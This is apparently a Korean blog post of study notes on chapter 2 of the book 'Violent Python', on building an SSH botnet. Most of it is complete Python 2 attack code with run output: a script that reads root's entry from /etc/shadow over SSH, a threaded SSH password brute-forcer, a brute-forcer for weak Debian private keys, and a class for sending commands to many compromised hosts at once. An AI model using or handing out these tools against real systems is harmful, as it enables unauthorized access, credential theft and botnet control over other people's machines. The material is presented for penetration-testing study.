Notice : 해당 자료가 저작권등에 의해서 문제가 있다면 바로 삭제하겠습니다.
연구목적으로 사용하지 않고 악의적인 목적으로 이용할 경우 발생할 수 있는 법적은 책임은 모두 본인에게 있습니다.
해커의 언어, 치명적 파이썬 – CHAPTER 1 소개
해커의 언어, 치명적 파이썬 – CHAPTER 2 침투 테스트 – 포트 스캐너 만들기
해커의 언어, 치명적 파이썬 – CHAPTER 2 침투 테스트 – SSH 봇넷 구축하기
해커의 언어, 치명적 파이썬 – CHAPTER 2 침투 테스트 – FTP와 웹을 이용한 대규모 공격
해커의 언어, 치명적 파이썬 – CHAPTER 2 침투 테스트 – 컨피커 노력하면 된다
2.3 파이썬으로 SSH 봇넷 구축하기
– 최근에는 공개키 암호화와 RSH 를 함께 사용하는 시큐어쉘(SSH) 프로토콜로 대체
2.3.1 Pexpect로 SSH 연결하기
– ssh는 사용자가 직접 입력하는 부분 존재(id, pw)
– 자동화를 위해 Pexpect 모듈 사용(결과값을 바탕으로 응답하기 기능)
#!/usr/bin/python
# -*- coding: utf-8 -*-
import pexpect
PROMPT = ['# ', '>>> ', '> ','\$ ']
def send_command(child, cmd):
child.sendline(cmd)
child.expect(PROMPT)
print child.before
def connect(user, host, password):
ssh_newkey = 'Are you sure you want to continue connecting'
connStr = 'ssh ' + user + '@' + host
child = pexpect.spawn(connStr)
ret = child.expect([pexpect.TIMEOUT, ssh_newkey, '[P|p]assword:'])
if ret == 0:
print '[-] Error Connecting'
return
if ret == 1:
child.sendline('yes')
ret = child.expect([pexpect.TIMEOUT, '[P|p]assword:'])
if ret == 0:
print '[-] Error Connecting'
return
child.sendline(password)
child.expect(PROMPT)
return child
def main():
host = 'localhost'
user = 'root'
password = '*****'
child = connect(user, host, password)
send_command(child, 'cat /etc/shadow | grep root')
if __name__ == '__main__':
main()
실행결과 :
# python sshCmd.py cat /etc/shadow | grep root root:$6$rnI.plh.$eScWBPApCMHM..........n9zpvmlkrzX/:15882:0:99999:7:::
2.3.2 Pxssh로 SSH 패스워드 공격하기
– Pxssh는 Pexpect 라이브러리에 있는 ssh 특화 스크립트 (login(), logout(), prompt() 등의 메소드 제공)
– 아이폰의 디폴트 패스워드? (alpine), ssh가 탈옥한 아이폰을 공격하여 ssh 서버를 활성화
#!/usr/bin/python
# -*- coding: utf-8 -*-
import pxssh
import optparse
import time
from threading import *
maxConnections = 5
connection_lock = BoundedSemaphore(value=maxConnections)
Found = False
Fails = 0
def connect(host, user, password, release):
global Found
global Fails
try:
s = pxssh.pxssh()
s.login(host, user, password)
print '[+] Password Found: ' + password
Found = True
except Exception, e:
if 'read_nonblocking' in str(e):
Fails += 1
time.sleep(5)
connect(host, user, password, False)
elif 'synchronize with original prompt' in str(e):
time.sleep(1)
connect(host, user, password, False)
finally:
if release: connection_lock.release()
def main():
parser = optparse.OptionParser('usage %prog -H <target host> -u <user> -F <password list>'
)
parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')
parser.add_option('-F', dest='passwdFile', type='string', help='specify password file')
parser.add_option('-u', dest='user', type='string', help='specify the user')
(options, args) = parser.parse_args()
host = options.tgtHost
passwdFile = options.passwdFile
user = options.user
if host == None or passwdFile == None or user == None:
print parser.usage
exit(0)
fn = open(passwdFile, 'r')
for line in fn.readlines():
if Found:
print "[*] Exiting: Password Found"
exit(0)
if Fails > 5:
print "[!] Exiting: Too Many Socket Timeouts"
exit(0)
connection_lock.acquire()
password = line.strip('\r').strip('\n')
print "[-] Testing: "+str(password)
t = Thread(target=connect, args=(host, user, password, True))
child = t.start()
if __name__ == '__main__':
main()
실행결과 :
# python sshBrute.py -H 127.0.0.1 -u apollo89 -F best_passwords.txt ... [-] Testing: 12345678 [-] Testing: 123456789 [-] Testing: 123456a [-] Testing: 123456qwerty [-] Testing: 123abc [-] Testing: 123qaz [-] Testing: 123qwe [-] Testing: 1q2w3e [+] Password Found: 123456a [-] Testing: 1q2w3e4r [*] Exiting: Password Found
2.3.3 취약한 개인 키를 통한 SSH 공격하기
– ssh 는 공개키 암호로 인증할수 있는 기능도 제공
– 취약한 키를 테스트 하는 스크립트는 패스워드를 무차별 대입하는 공격과 유사
– https://github.com/ChFernandez/PenTools -> debian_ssh_dsa_1024_x86/ debian_ssh_rsa_1024_x86 다운안됨..ㅠ
#!/usr/bin/python
# -*- coding: utf-8 -*-
import pexpect
import optparse
import os
from threading import *
maxConnections = 5
connection_lock = BoundedSemaphore(value=maxConnections)
Stop = False
Fails = 0
def connect(user,host,keyfile,release):
global Stop
global Fails
try:
perm_denied = 'Permission denied'
ssh_newkey = 'Are you sure you want to continue'
conn_closed = 'Connection closed by remote host'
opt = ' -o PasswordAuthentication=no'
connStr = 'ssh ' + user + '@' + host + ' -i ' + keyfile + opt
child = pexpect.spawn(connStr)
ret = child.expect([pexpect.TIMEOUT,perm_denied, ssh_newkey,conn_closed,'$','#',])
if ret == 2:
print '[-] Adding Host to ~/.ssh/known_hosts'
child.sendline('yes')
connect(user, host, keyfile, False)
elif ret == 3:
print '[-] Connection Closed By Remote Host'
Fails += 1
elif ret > 3:
print '[+] Success. ' + str(keyfile)
Stop = True
finally:
if release:
connection_lock.release()
def main():
parser = optparse.OptionParser('usage %prog -H <target host> -u <user> -d <directory>')
parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')
parser.add_option('-d', dest='passDir', type='string', help='specify directory with keys')
parser.add_option('-u', dest='user', type='string', help='specify the user')
(options, args) = parser.parse_args()
host = options.tgtHost
passDir = options.passDir
user = options.user
if host == None or passDir == None or user == None:
print parser.usage
exit(0)
for filename in os.listdir(passDir):
if Stop:
print '[*] Exiting: Key Found.'
exit(0)
if Fails > 5:
print '[!] Exiting: '+\
'Too Many Connections Closed By Remote Host.'
print '[!] Adjust number of simultaneous threads.'
exit(0)
connection_lock.acquire()
fullpath = os.path.join(passDir, filename)
print '[-] Testing keyfile ' + str(fullpath)
t = Thread(target=connect, args=(user, host, fullpath, True))
child = t.start()
if __name__ == '__main__':
main()
2.3.4 SSH 봇넷 구축하기
– 여러 호스트를 동시에 제어
– 자발적인 봇넷 : 어나니머스에서 자발적 봇넷을 이용해서 공격
– 클래스 객체를 생성해 사용
#!/usr/bin/python
# -*- coding: utf-8 -*-
import optparse
import pxssh
class Client:
def __init__(self, host, user, password):
self.host = host
self.user = user
self.password = password
self.session = self.connect()
def connect(self):
try:
s = pxssh.pxssh()
s.login(self.host, self.user, self.password)
return s
except Exception, e:
print e
print '[-] Error Connecting'
def send_command(self, cmd):
self.session.sendline(cmd)
self.session.prompt()
return self.session.before
def botnetCommand(command):
for client in botNet:
output = client.send_command(command)
print '[*] Output from ' + client.host
print '[+] ' + output
def addClient(host, user, password):
client = Client(host, user, password)
botNet.append(client)
botNet = []
addClient('127.0.0.1', 'root', '*****')
addClient('127.0.0.1', 'root', '*****')
addClient('127.0.0.1', 'root', '*****')
botnetCommand('uname -v')
botnetCommand('cat /etc/issue')
실행결과 :
# python botNet.py [*] Output from 127.0.0.1 [+] uname -v #1 SMP Fri Feb 17 10:34:20 EST 2012 [*] Output from 127.0.0.1 [+] uname -v #1 SMP Fri Feb 17 10:34:20 EST 2012 [*] Output from 127.0.0.1 [+] uname -v #1 SMP Fri Feb 17 10:34:20 EST 2012 [*] Output from 127.0.0.1 [+] cat /etc/issue BackTrack 5 R3 - 64 Bit \n \l [*] Output from 127.0.0.1 [+] cat /etc/issue BackTrack 5 R3 - 64 Bit \n \l [*] Output from 127.0.0.1 [+] cat /etc/issue BackTrack 5 R3 - 64 Bit \n \l

2 Responses to 해커의 언어, 치명적 파이썬 – CHAPTER 2 침투 테스트 – SSH 봇넷 구축하기